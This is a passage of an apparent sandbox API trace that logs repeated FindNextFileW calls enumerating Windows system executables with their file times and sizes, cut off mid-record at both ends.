ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0025.956] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="help.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="label.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="lpremove.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0025.957] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, 